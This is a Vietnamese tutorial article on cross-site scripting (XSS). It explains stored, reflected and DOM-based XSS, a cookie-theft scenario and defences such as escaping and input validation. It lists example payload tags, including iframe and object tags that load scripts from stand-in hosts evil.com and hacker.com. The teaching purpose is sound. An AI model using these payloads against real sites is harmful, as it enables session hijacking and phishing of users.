Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker

Chủ nhật - 09/02/2020 14:50

Cross-site scripting (XSS) là một kiểu tấn công bảo mật trong đó kẻ tấn công đưa các tập lệnh độc hại vào phần nội dung của các trang web đáng tin cậy khác.

Trong nhiều năm, lỗ hổng tràn bộ đệm là đích nhắm thú vị của những kẻ tấn công trực tuyến. Nhưng đến nay, cross-site scipting mới là thủ phạm lớn nhất gây ra các vụ phá hoại hệ thống.

Cross-site scripting (XSS) là một kiểu tấn công bảo mật trong đó kẻ tấn công đưa các tập lệnh độc hại vào phần nội dung của các trang web đáng tin cậy khác. Tấn công Cross-site scripting xảy ra khi một nguồn không đáng tin cậy được phép đưa code của chính nó vào một ứng dụng web và mã độc đó được bao gồm trong nội dung gửi đến trình duyệt của nạn nhân.

XSS là một trong những lỗ hổng ứng dụng web phổ biến nhất và xảy ra khi một ứng dụng web sử dụng đầu vào từ người dùng không được xác thực hoặc không được mã hóa trong đầu ra mà nó tạo ra.

Bằng cách tận dụng XSS, kẻ tấn công không nhắm trực tiếp vào nạn nhân. Thay vào đó, kẻ tấn công sẽ khai thác lỗ hổng trong trang web hoặc ứng dụng web mà nạn nhân sẽ truy cập.

Mặc dù XSS có thể tận dụng lợi thế trong VBScript, ActiveX và Flash (hiện được coi là cũ hoặc thậm chí lỗi thời), nhưng phổ biến nhất vẫn là JavaScript - chủ yếu vì JavaScript là nền tảng cho hầu hết các trải nghiệm duyệt web.

Tìm hiểu về Cross-Site Scripting

Cách thức hoạt động của Cross-site Scripting

Để chạy code JavaScript độc hại trong trình duyệt của nạn nhân, trước tiên, kẻ tấn công phải tìm cách truyền payload vào trang web mà nạn nhân truy cập. Tất nhiên, kẻ tấn công có thể sử dụng các kỹ thuật social engineering để thuyết phục người dùng truy cập trang đã bị tấn công đó.

Để một cuộc tấn công XSS diễn ra, trang web bị tấn công cần trực tiếp bao gồm đầu vào của người dùng trong các trang của mình. Kẻ tấn công sau đó có thể chèn một chuỗi sẽ được sử dụng trong trang web và được xử lý dưới dạng code bởi trình duyệt nạn nhân.

Mã giả phía máy chủ (server-side pseudo-code) này được sử dụng để hiển thị bình luận gần đây nhất trên trang web:

print ""  print "Most recent comment
"  print database.latestComment  print ""

Tập lệnh sẽ in ra bình luận mới nhất từ cơ sở dữ liệu và in nội dung ra trang HTML, giả sử rằng bình luận được in ra chỉ bao gồm phần văn bản.

Trang trên dễ bị tấn công bởi XSS vì kẻ tấn công có thể gửi nhận xét có chứa payload độc hại, chẳng hạn như .

Người dùng truy cập trang web sẽ được hiển thị trang HTML sau.

  Most recent comment

Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tấn công sẽ thực thi, mà người đó không hề hay biết và cũng không thể ngăn chặn cuộc tấn công này.

Lưu ý quan trọng - Lỗ hổng XSS chỉ có thể tồn tại nếu payload (tập lệnh độc hại) mà kẻ tấn công chèn được phân tích (thành HTML trong trường hợp này) trong trình duyệt của nạn nhân.

Điều tệ nhất mà kẻ tấn công có thể làm với JavaScript là gì?

Hậu quả mà những gì kẻ tấn công có thể thực hiện với khả năng thực thi JavaScript trên trang web có thể không dễ nhận thấy ngay, đặc biệt là khi các trình duyệt chạy JavaScript trong môi trường được kiểm soát rất chặt chẽ và JavaScript đã giới hạn quyền truy cập vào hệ điều hành và các file của người dùng.

Tuy nhiên, khi xem xét các phần JavaScript có quyền truy cập, những điều kẻ tấn công có thể làm với JavaScript sẽ trở nên rõ ràng hơn:

JavaScript độc hại có quyền truy cập vào tất cả các đối tượng giống nhau trong phần còn lại của trang web, bao gồm quyền truy cập vào cookie. Cookie thường được sử dụng để lưu trữ mã token phiên, nếu kẻ tấn công có thể lấy cookie phiên của người dùng, chúng có thể mạo danh người đó.
JavaScript có thể đọc và thực hiện các sửa đổi tùy ý đối với DOM của trình duyệt (trong trang mà JavaScript đang chạy).
JavaScript có thể sử dụng XMLHttpRequest để gửi các yêu cầu HTTP có nội dung tùy ý đến các đích khác nhau.
JavaScript trong các trình duyệt hiện đại có thể tận dụng các API HTML5 để truy cập vị trí địa lý, webcam, micro và thậm chí các file cụ thể từ hệ thống file của người dùng. Mặc dù hầu hết các API này yêu cầu người dùng chấp nhận, nhưng XSS kết hợp với một số kỹ thuật social engineering thông minh có thể mang lại cho kẻ tấn công nhiều lợi thế.

XSS, kết hợp với social engineering, cho phép kẻ tấn công thực hiện các cuộc tấn công nguy hiểm hơn, bao gồm lấy cắp cookie, keylogging, phishing và lấy cắp danh tính.

Cross-site scripting không phải là vấn đề của người dùng?

Nếu kẻ tấn công có thể lợi dụng lỗ hổng XSS trên trang web để thực thi JavaScript tùy ý trong trình duyệt của khách truy cập, thì bảo mật của trang web, ứng dụng web đó, cũng như người dùng của nó đã gặp nguy hiểm. XSS không phải là vấn đề của người dùng, như mọi lỗ hổng bảo mật khác. Nếu nó ảnh hưởng đến người dùng của một trang web, thì tức là nó sẽ ảnh hưởng đến chính trang web đó.

Phân tích chi tiết một cuộc tấn công Cross-site scripting

Một cuộc tấn công XSS cần ba “diễn viên” - trang web, nạn nhân và kẻ tấn công.

Trong ví dụ dưới đây, có thể giả định rằng mục tiêu của kẻ tấn công là mạo danh nạn nhân bằng cách ăn cắp cookie của người đó. Việc gửi cookie đến máy chủ của kẻ tấn công có thể thực hiện bằng nhiều cách khác nhau. Một trong số đó là để kẻ tấn công thực thi code JavaScript sau trong trình duyệt của nạn nhân thông qua lỗ hổng XSS.

Hình dưới đây minh họa hướng dẫn từng bước của một cuộc tấn công XSS đơn giản.

Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker

1. Kẻ tấn công truyền một payload vào cơ sở dữ liệu của trang web bằng cách gửi một biểu mẫu kèm theo một số JavaScript độc hại.

2. Nạn nhân gửi yêu cầu đến trang web.

3. Trang web hiển thị trên trình duyệt của nạn nhân với một phần nội dung HTML chứa payload của kẻ tấn công.

4. Trình duyệt của nạn nhân sẽ thực thi tập lệnh độc hại bên trong HTML. Trong trường hợp này, nó sẽ gửi cookie của nạn nhân đến máy chủ của kẻ tấn công. Kẻ tấn công bây giờ chỉ cần trích xuất cookie của nạn nhân khi yêu cầu HTTP chuyển đến máy chủ, sau đó kẻ tấn công có thể sử dụng cookie đánh cắp được để mạo danh nạn nhân.

Một số ví dụ về vectơ tấn công Cross-site Scripting

Sau đây là danh sách (không đầy đủ) các vectơ tấn công XSS mà kẻ tấn công có thể sử dụng để xâm phạm bảo mật của trang web hoặc ứng dụng web thông qua một cuộc tấn công XSS.

Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker - Ảnh minh hoạ 2

Thẻ

Payload XSS có thể được phân phối bên trong thẻ bằng cách sử dụng thuộc tính onload hoặc các thuộc tính khác như thuộc tính background.

Thẻ

Một số trình duyệt sẽ thực thi JavaScript được tìm thấy trong .

Thẻ </strong></p> <p>Thẻ <iframe> cho phép nhúng một trang HTML khác vào trang nguồn. Tuy nhiên, iFrame có thể chứa JavaScript. Điều quan trọng cần lưu ý là JavaScript trong iFrame không có quyền truy cập vào DOM của trang nguồn do chính sách bảo mật nội dung (Content Security Policy - CSP) của trình duyệt. Tuy nhiên, iFrames vẫn là phương tiện rất hiệu quả để loại bỏ các cuộc tấn công Phishing.</p> <pre class="language-markup"><code> <iframe src=”http://evil.com/xss.html”></code></pre> <p><strong>Thẻ <input></strong></p> <p>Trong một số trình duyệt, nếu thuộc tính type của thẻ <input> được đặt thành image, nó có thể được thao tác để nhúng tập lệnh.</p> <pre class="language-markup"><code> <input type="image" src="javascript:alert('XSS');"></code></pre> <p><strong>Thẻ <link></strong></p> <p>Thẻ <link>, thường được sử dụng để liên kết đến các biểu định kiểu bên ngoài, có thể chứa tập lệnh.</p> <pre class="language-markup"><code> </code></pre> <p><strong>Thẻ <table></strong></p> <p>Thuộc tính background của thẻ table và thẻ td có thể được khai thác để tham chiếu đến tập lệnh thay vì hình ảnh.</p> <pre class="language-markup"><code> <table background="javascript:alert('XSS')">  <td background="javascript:alert('XSS')"></code></pre> <p><strong>Thẻ <div></strong></p> <p>Thẻ <div>, tương tự như thẻ <table> và <td> cũng có thể chỉ định một background và do đó được nhúng tập lệnh.</p> <pre class="language-markup"><code> <div style="background-image: url(javascript:alert('xss'))">  <div style="width: expression(alert('xss'));"></code></pre> <p><strong>Thẻ <object></strong></p> <p>Thẻ <object> có thể được sử dụng để đưa một trang bên ngoài vào tập lệnh.</p> <pre class="language-markup"><code> <object type="text/x-scriptlet" data="http://hacker.com/xss.html"></code></pre> <h2 id="mcetoc_1d2et222me">Các loại lỗ hổng XSS</h2> <p style="text-align: center;"><img src="https://st.quantrimang.com/photos/image/2019/01/30/cross-site-scripting-2.jpg" alt="Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker - Ảnh minh hoạ 3" /></p> <p>Có ba loại lỗ hổng Cross-site scripting: Stored XSS, Reflected XSS và DOM-based XSS.</p> <p>- <strong>Stored XSS</strong> là loại tấn công cross-site scripting gây thiệt hại nhiều nhất. Kẻ tấn công truyền một tập lệnh - còn được gọi là payload - được lưu trữ vĩnh viễn trên ứng dụng đích, chẳng hạn như cơ sở dữ liệu. Ví dụ, kẻ tấn công chèn một đoạn mã độc trên blog, trong một bài đăng trên diễn đàn hoặc trong trường bình luận.</p> <p>Lúc này Payload XSS sẽ đóng vai trò như một phần của trang web khi nạn nhân điều hướng đến trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem trang trên trình duyệt sẽ vô tình thực thi tập lệnh độc hại.</p> <p>- <strong>Reflected XSS</strong> là loại lỗ hổng cross-site scripting phổ biến nhất. Trong kiểu tấn công này, kẻ tấn công phải chuyển payload cho nạn nhân. Do đó, tập lệnh payload của kẻ tấn công phải là một phần của yêu cầu được gửi đến máy chủ web và được phản chiếu lại để phản hồi HTTP, bao gồm payload từ yêu cầu HTTP.</p> <p>Kẻ tấn công sử dụng email phishing và các phương pháp social engineering khác để dụ nạn nhân đưa ra yêu cầu đến máy chủ có chứa payload XSS. Nạn nhân sau đó thực thi tập lệnh độc hại bên trong trình duyệt. Vì Reflected XSS không phải là một cuộc tấn công liên tục, nên kẻ tấn công phải cung cấp payload cho mỗi nạn nhân.</p> <p>- <strong>DOM-based cross-site scripting</strong> là loại tấn công XSS nâng cao, có thể thực hiện được khi tập lệnh phía máy khách của ứng dụng web ghi dữ liệu do người dùng cung cấp vào Document Object Model (DOM).</p> <p>Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó đến trình duyệt. Nếu dữ liệu không được xử lý chính xác, kẻ tấn công có thể đưa ra payload được lưu trữ như một phần của DOM. Payload sau đó sẽ thực thi khi dữ liệu được đọc lại từ DOM.</p> <h2 id="mcetoc_1d2et222mf">Phương pháp ngăn chặn Cross-site scripting</h2> <p style="text-align: center;"><img src="https://st.quantrimang.com/photos/image/2019/01/30/cross-site-scripting-3.jpg" alt="Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker - Ảnh minh hoạ 4" /></p> <p>Sau đây là những phương pháp phổ biến nhất để ngăn chặn Cross-site scripting:</p> <ul> <li>Escape đầu vào của người dùng là một cách để ngăn các lỗ hổng XSS xuất hiện trong các ứng dụng. Điều này có nghĩa là lấy dữ liệu mà ứng dụng đã nhận được và đảm bảo an toàn trước khi hiển thị nó cho người dùng. Escape input từ người dùng sẽ khiến các ký tự quan trọng trong dữ liệu mà trang web nhận được không bị hiểu là mã thực thi. Nhờ đó ngăn trình duyệt diễn giải các ký tự được sử dụng để báo hiệu bắt đầu hoặc kết thúc mã thực thi và dịch chúng thành <strong>"escaped".</strong> Ví dụ, các ký tự như dấu ngoặc kép, dấu ngoặc đơn, dấu ngoặc vuông và một số dấu chấm câu khác đôi khi được sử dụng để làm nổi bật mã thực thi. Escape các ký tự này có nghĩa là chuyển đổi chúng từ các ký tự đơn thành các chuỗi khi trình duyệt biên dịch.</li> <li>Sàng lọc đầu vào của người dùng là một cách khác để ngăn chặn các cuộc tấn công Cross-site scripting, đặc biệt hữu ích trên các trang web cho phép HTML markup. Phương pháp ngăn chặn này sẽ xóa sạch dữ liệu chứa các ký tự có khả năng thực thi, thay đổi đầu vào người dùng thành định dạng có thể chấp nhận và đảm bảo dữ liệu nhận được không thể được hiểu là mã thực thi.</li> <li>Xác thực đầu vào đảm bảo việc ứng dụng hiển thị dữ liệu chính xác và ngăn dữ liệu độc hại gây hại cho trang web, cơ sở dữ liệu và người dùng. Xác thực đầu vào giúp ngăn XSS trong các biểu mẫu vì nó ngăn người dùng thêm các ký tự đặc biệt vào các trường nhập dữ liệu trang web bằng cách từ chối yêu cầu. Xác thực đầu vào giúp giảm khả năng gây ảnh hưởng tiêu cực, nếu kẻ tấn công phát hiện ra một lỗ hổng XSS ở đâu đó.</li> </ul> <p>Xem thêm:</p> <ul> <li><a class="title" title="Tổng hợp các kiểu tấn công mạng phổ biến hiện nay" href="https://quantrimang.com/cac-kieu-tan-cong-mang-22">Tổng hợp các kiểu tấn công mạng phổ biến hiện nay</a></li> <li><a class="title" title="Một số quy tắc bảo mật cơ bản cho website" href="https://quantrimang.com/mot-so-quy-tac-bao-mat-co-ban-cho-website-90785">Một số quy tắc bảo mật cơ bản cho website</a></li> <li><a class="title" title="Làm gì khi phát hiện ra hacker tấn công website?" href="https://quantrimang.com/lam-gi-khi-phat-hien-ra-hacker-tan-cong-website-80182">Làm gì khi phát hiện ra hacker tấn công website?</a></li> </ul> </div> <div class="margin-bottom-lg"> <p class="h5 text-right"> <strong>Nguồn tin: </strong>quantrimang.com </p> </div> </div> </div> <div class="news_column panel panel-default"> <div class="panel-body"> <div class="h5"> <em class="fa fa-tags"> </em><strong>Từ khóa: </strong><a title="bảo mật" href="/vi/news/tag/bảo-mật"><em>bảo mật</em></a>, <a title="nội dung" href="/vi/news/tag/noi-dung"><em>nội dung</em></a>, <a title="tấn công" href="/vi/news/tag/tan-cong"><em>tấn công</em></a>, <a title="độc hại" href="/vi/news/tag/doc-hai"><em>độc hại</em></a>, <a title="tin cậy" href="/vi/news/tag/tin-cay"><em>tin cậy</em></a> </div> </div> </div> <div class="news_column panel panel-default"> <div class="panel-body"> <form id="form3B" action=""> <div class="h5 clearfix"> <p id="stringrating">Tổng số điểm của bài viết là: 0 trong 0 đánh giá</p> <div style="padding: 5px;"> <input class="hover-star" type="radio" value="1" title="" /><input class="hover-star" type="radio" value="2" title="" /><input class="hover-star" type="radio" value="3" title="" /><input class="hover-star" type="radio" value="4" title="" /><input class="hover-star" type="radio" value="5" title="" /><span id="hover-test" style="margin: 0 0 0 20px;"></span> </div> </div> </form> </div> </div> <div class="news_column panel panel-default"> <div class="panel-body"> <div id="idcomment" class="nv-fullbg"> <div class="row clearfix margin-bottom-lg"> <div class="col-xs-12 text-left"> <p class="comment-title"><em class="fa fa-comments"> </em> Ý kiến bạn đọc</p> </div> <div class="col-xs-12 text-right"> <select id="sort" class="form-control"> <option value="0" selected="selected">Sắp xếp theo bình luận mới</option> <option value="1" >Sắp xếp theo bình luận cũ</option> <option value="2" >Sắp xếp theo số lượt thích</option> </select> </div> </div> <div id="formcomment" class="comment-form"> <div class="alert alert-danger fade in"> <a title="Đăng nhập" href="#" onclick="return loginForm('');">Bạn cần đăng nhập với tư cách là <strong>%s</strong> để có thể bình luận</a> </div> </div> </div> </div> </div> <div class="news_column panel panel-default"> <div class="panel-body other-news"> <p class="h3"><strong>Những tin mới hơn</strong></p> <div class="clearfix"> <ul class="related list-inline"> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/lam-the-nao-de-truy-cap-thu-muc-windowsapps-tren-windows-10-49527.html" data-placement="bottom" data-content="Khi tải và cài đặt một ứng dụng nào đó từ Windows Store, theo mặc định..." data-img="https://st.quantrimang.com/photos/image/2017/01/06/quyen-truy-cap-thu-muc-1.png" data-rel="tooltip" title="Làm thế nào để truy cập thư mục WindowsApps trên Windows 10?"><h4>Làm thế nào để truy cập thư mục WindowsApps trên Windows 10?</h4></a> <em>(20/02/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/cach-ma-hoa-o-cung-de-bao-ve-du-lieu-53080.html" data-placement="bottom" data-content="Hôm nay, Quantrimang.com sẽ chỉ cho bạn cách mã hóa ổ cứng. Quá trình..." data-img="https://st.quantrimang.com/photos/image/2020/05/12/ma-hoa-o-cung.jpg" data-rel="tooltip" title="Cách mã hóa ổ cứng để bảo vệ dữ liệu"><h4>Cách mã hóa ổ cứng để bảo vệ dữ liệu</h4></a> <em>(12/05/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/desktop-window-manager-la-gi-tai-sao-dwm-exe-lai-tieu-ton-nhieu-cpu-va-bo-nho-53466.html" data-placement="bottom" data-content="Desktop Window Manager hay dwm.exe là một Windows service chịu trách..." data-img="https://st.quantrimang.com/photos/image/2020/05/21/dwm-exe.jpg" data-rel="tooltip" title="Desktop Window Manager là gì? Tại sao dwm.exe lại tiêu tốn nhiều CPU và bộ nhớ?"><h4>Desktop Window Manager là gì? Tại sao dwm.exe lại tiêu tốn nhiều CPU và bộ nhớ?</h4></a> <em>(21/05/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/ping-la-gi-test-ping-nhu-the-nao-53859.html" data-placement="bottom" data-content="Trong bài viết dưới đây, mời các bạn tìm hiểu vài ví dụ đơn giản về..." data-img="https://st.quantrimang.com/photos/image/2017/02/25/ping-650.jpg" data-rel="tooltip" title="PING là gì? Test PING như thế nào?"><h4>PING là gì? Test PING như thế nào?</h4></a> <em>(30/05/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/hut-thuoc-la-thu-dong-la-gi-va-tac-hai-ra-sao-53898.html" data-placement="bottom" data-content="Hút thuốc lá không chỉ gây hại trực tiếp đối với người sử dụng mà còn..." data-img="/assets/news/2020_06/1.6-hut-thuoc-lahhhhhhhhhhhhh.jpg" data-rel="tooltip" title="Hút thuốc lá thụ động là gì và tác hại ra sao?"><h4>Hút thuốc lá thụ động là gì và tác hại ra sao?</h4></a> <em>(31/05/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/side-channel-attack-sca-la-gi-55651.html" data-placement="bottom" data-content="Side-Channel Attack (cuộc tấn công kênh bên) cho phép tin tặc trích..." data-img="https://st.quantrimang.com/photos/image/2020/07/13/side-channel-attack.jpg" data-rel="tooltip" title="Side-Channel Attack (SCA) là gì?"><h4>Side-Channel Attack (SCA) là gì?</h4></a> <em>(13/07/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/top-23-phan-mem-ma-hoa-tot-nhat-cho-windows-2020-55693.html" data-placement="bottom" data-content="Trong máy tính PC, nhiều thông tin cá nhân của bạn có thể bị truy cập..." data-img="https://st.quantrimang.com/photos/image/2018/05/21/phan-mem-ma-hoa-cho-windows-640.jpg" data-rel="tooltip" title="Top 23 phần mềm mã hóa tốt nhất cho Windows 2020"><h4>Top 23 phần mềm mã hóa tốt nhất cho Windows 2020</h4></a> <em>(15/07/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/kiem-soat-quyen-rieng-tu-tren-may-tinh-windows-10-voi-7-thu-thuat-sau-day-56003.html" data-placement="bottom" data-content="Mỗi một tài khoản Microsoft đều có một ID quảng cáo để cho phép..." data-img="https://st.quantrimang.com/photos/image/2016/10/18/kiem-soat-quyen-rieng-tu-tren-may-tinh-650.jpg" data-rel="tooltip" title="Kiểm soát quyền riêng tư trên máy tính Windows 10 với 7 thủ thuật sau đây"><h4>Kiểm soát quyền riêng tư trên máy tính Windows 10 với 7 thủ thuật sau đây</h4></a> <em>(11/08/2020)</em> </li> </ul> </div> <p class="h3"><strong>Những tin cũ hơn</strong></p> <div class="clearfix"> <ul class="related list-inline"> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/huong-dan-tat-va-khoi-dong-lai-may-tinh-tu-xa-tren-windows-48362.html" data-placement="bottom" data-content="Hệ điều hành Windows có chứa tiện ích Shutdown.exe, một tiện ích đơn..." data-img="https://st.quantrimang.com/photos/image/2020/01/15/tat-va-khoi-dong-lai-may-tinh-tu-xa.jpg" data-rel="tooltip" title="Hướng dẫn tắt và khởi động lại máy tính từ xa trên Windows"><h4>Hướng dẫn tắt và khởi động lại máy tính từ xa trên Windows</h4></a> <em>(21/01/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/phan-biet-gootkit-bootkit-va-rootkit-48074.html" data-placement="bottom" data-content="Song hành với sự phát triển của thế giới công nghệ nói chung và..." data-img="https://st.quantrimang.com/photos/image/2019/12/16/phan-biet-giua-gootkit-bootkit-va-rootkit640.jpg" data-rel="tooltip" title="Phân biệt Gootkit, Bootkit và Rootkit"><h4>Phân biệt Gootkit, Bootkit và Rootkit</h4></a> <em>(15/01/2020)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/11-phan-mem-diet-virus-hieu-qua-nhat-cho-windows-2020-47396.html" data-placement="bottom" data-content="11 phần mềm diệt virus tốt nhất và hiệu quả nhất 2020 trên máy tính,..." data-img="https://st.quantrimang.com/photos/image/2016/06/03/phan-mem-diet-virus-hieu-qua-1.png" data-rel="tooltip" title="11 phần mềm diệt virus hiệu quả nhất cho Windows 2020"><h4>11 phần mềm diệt virus hiệu quả nhất cho Windows 2020</h4></a> <em>(31/12/2019)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/trojan-la-gi-lam-sao-de-tranh-trojan-tan-cong-47214.html" data-placement="bottom" data-content="Trojan không phải là virus nhưng mức độ nguy hiểm cũng như ảnh hưởng..." data-img="https://st.quantrimang.com/photos/image/2019/12/26/trojan-la-gi-640.jpg" data-rel="tooltip" title="Trojan là gì? Làm sao để tránh trojan tấn công?"><h4>Trojan là gì? Làm sao để tránh trojan tấn công?</h4></a> <em>(27/12/2019)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/virus-may-tinh-la-gi-46921.html" data-placement="bottom" data-content="Virus máy tính có thể làm "tê liệt" hệ điều hành máy tính chỉ trong..." data-img="https://st.quantrimang.com/photos/image/2019/12/19/virus-la-gi-640.jpg" data-rel="tooltip" title="Virus máy tính là gì?"><h4>Virus máy tính là gì?</h4></a> <em>(20/12/2019)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/11-phan-mem-diet-virus-hieu-qua-nhat-cho-windows-2019-46350.html" data-placement="bottom" data-content="11 phần mềm diệt virus tốt nhất và hiệu quả nhất 2019 trên máy tính,..." data-img="https://st.quantrimang.com/photos/image/2016/06/03/phan-mem-diet-virus-hieu-qua-1.png" data-rel="tooltip" title="11 phần mềm diệt virus hiệu quả nhất cho Windows 2019"><h4>11 phần mềm diệt virus hiệu quả nhất cho Windows 2019</h4></a> <em>(06/12/2019)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/cach-kiem-tra-cac-ket-noi-co-bao-mat-khong-45719.html" data-placement="bottom" data-content="Với rất nhiều điểm yếu tiềm tàng trong một mạng, thật khó để biết liệu..." data-img="https://st.quantrimang.com/photos/image/2019/11/18/cach-kiem-tra-cac-ket-noi-khong-bao-mat.jpg" data-rel="tooltip" title="Cách kiểm tra các kết nối có bảo mật không"><h4>Cách kiểm tra các kết nối có bảo mật không</h4></a> <em>(20/11/2019)</em> </li> <li> <em class="fa fa-angle-right"> </em> <a href="/vi/news/bao-mat-may-tinh/cach-su-dung-trinh-quet-virus-tich-hop-tren-chrome-45486.html" data-placement="bottom" data-content="Google Chrome cung cấp trình quét diệt virus tích hợp đi kèm với chính..." data-img="https://st.quantrimang.com/photos/image/2019/11/07/dung-trinh-quet-virus-tich-hop-tren-chrome.jpg" data-rel="tooltip" title="Cách sử dụng trình quét virus tích hợp trên Chrome"><h4>Cách sử dụng trình quét virus tích hợp trên Chrome</h4></a> <em>(14/11/2019)</em> </li> </ul> </div> </div> </div> </div> <div class="col-sm-8 col-md-7"> <div class="tms_primary"> <div class="tms_primary_title"><i class="fa fa-th-list"></i> Video - Phóng sự</div> <div class="clear"></div> <div class="videoplayer cf margin-bottom-lg"> <div id="videoContBlock_nv7"> <i class="fa fa-spinner fa-pulse fa-3x fa-fw center-block"></i> </div> </div> <div class="clearfix box-home-news"> <ul> <li class="clearfix"> <strong><a title="Chuyên mục an ninh Bắc Kạn số 2 tháng 7/2021" class="show" href="/vi/videos/Chuyen-muc-An-ninh-Bac-Kan/chuyen-muc-an-ninh-bac-kan-so-2-thang-7-2021-175.html"><i class="fa fa-sign-out" aria-hidden="true"></i>  Chuyên mục an ninh Bắc Kạn số 2 tháng 7/2021</a></strong> </li> <li class="clearfix"> <strong><a title="Chuyên mục an ninh Bắc Kạn số 1 tháng 7/2021" class="show" href="/vi/videos/Chuyen-muc-An-ninh-Bac-Kan/chuyen-muc-an-ninh-bac-kan-so-1-thang-7-2021-174.html"><i class="fa fa-sign-out" aria-hidden="true"></i>  Chuyên mục an ninh Bắc Kạn số 1 tháng 7/2021</a></strong> </li> <li class="clearfix"> <strong><a title="Chuyên mục an ninh Bắc Kạn số 2 tháng 6/2021" class="show" href="/vi/videos/Chuyen-muc-An-ninh-Bac-Kan/chuyen-muc-an-ninh-bac-kan-so-2-thang-6-2021-173.html"><i class="fa fa-sign-out" aria-hidden="true"></i>  Chuyên mục an ninh Bắc Kạn số 2 tháng 6/2021</a></strong> </li> <li class="clearfix"> <strong><a title="Chuyên mục an ninh Bắc Kạn số 1 tháng 6/2021" class="show" href="/vi/videos/Chuyen-muc-An-ninh-Bac-Kan/chuyen-muc-an-ninh-bac-kan-so-1-thang-6-2021-172.html"><i class="fa fa-sign-out" aria-hidden="true"></i>  Chuyên mục an ninh Bắc Kạn số 1 tháng 6/2021</a></strong> </li> </ul> </div> </div> <div class="tms_primary"> <div class="tms_xephang_title"><i class="fa fa-bullhorn" aria-hidden="true"></i> Thống kê</div> <div class="clear"></div> <ul class="counter list-none display-table"> <li><span><em class="fa fa-bolt fa-lg fa-horizon"></em>Đang truy cập</span><span>233</span></li> <li><span><em class="fa fa-magic fa-lg fa-horizon"></em>Máy chủ tìm kiếm</span><span>21</span></li> <li><span><em class="fa fa-bullseye fa-lg fa-horizon"></em>Khách viếng thăm</span><span>212</span></li> <li><span><em class="fa fa-filter fa-lg fa-horizon margin-top-lg"></em>Hôm nay</span><span class="margin-top-lg">62,882</span></li> <li><span><em class="fa fa-calendar-o fa-lg fa-horizon"></em>Tháng hiện tại</span><span>1,537,442</span></li> <li><span><em class="fa fa-bars fa-lg fa-horizon"></em>Tổng lượt truy cập</span><span>179,519,758</span></li> </ul> </div> <div class="tms_primary"> <div class="tms_primary_title"><i class="fa fa-th-list"></i> Văn bản</div> <div class="clear"></div> <ul style="padding: 0"> <li><em class="fa fa-comment-o fa-lg"> </em><a title="Thông báo" href="/vi/laws/Thong-bao/">Thông báo</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Quy định" href="/vi/laws/Quy-dinh/">Quy định</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Hướng dẫn" href="/vi/laws/Huong-dan/">Hướng dẫn</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Quyết định" href="/vi/laws/Quyet-dinh/">Quyết định</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Hướng tới đại hội đảng các cấp" href="/vi/laws/Huong-toi-dai-hoi-dang-cac-cap/">Hướng tới đại hội đảng các cấp</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Phong trào toàn dân BVANTQ" href="/vi/laws/Phong-trao-toan-dan-BVANTQ/">Phong trào toàn dân BVANTQ</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Công khai hoạt động tuần tra CSGT" href="/vi/laws/Cong-khai-hoat-dong-tuan-tra-CSGT/">Công khai hoạt động tuần tra CSGT</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Tài liệu tham khảo" href="/vi/laws/Tai-lieu-tham-khao/">Tài liệu tham khảo</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Thông tư" href="/vi/laws/Thong-tu/">Thông tư</a> </li><li><em class="fa fa-comment-o fa-lg"> </em><a title="Nghị định" href="/vi/laws/Nghi-dinh/">Nghị định</a> </li> </ul> </div> <div><a href="https://conganbackan.vn/cong-an-tinh-voi-nhan-dan/anh-sach-thong-tin-dia-chi-so-dien-thoai-dia-chi-email-huong-dan-ho-tro-nguoi-dan-doanh-nghiep-ve-thuc-hien-thu-tuc-hanh-chinh-dich-vu-cong-truc-tuyen-cong-sn-tinh-bac-kan-64871.html" /><img alt="THÔNG TIN ĐẦU MỐI HƯỚNG DẪN, HỖ TRỢ THỰC HIỆN THỦ TỤC HÀNH CHÍNH, DVC TT" height="83" src="/uploads/thong-tin-dau-moi-huong-dan-ho-tro-thuc-hien-thu-tuc-hanh-chinh-dvc-tt_2.png" width="300" /></div> <a href="https://speedtest.vn/cai-dat-su-dung"><img alt="banner t-speed" height="83" src="/uploads/banner_1226_341.jpg" width="300" /></a> <div class="image-center"><a href="https://bocongan.gov.vn/"><img alt="" height="83" src="/uploads/logo-dvc-bca_1.jpg" width="300" /></a></div> <a href="https://thicds.backan.gov.vn/"><img 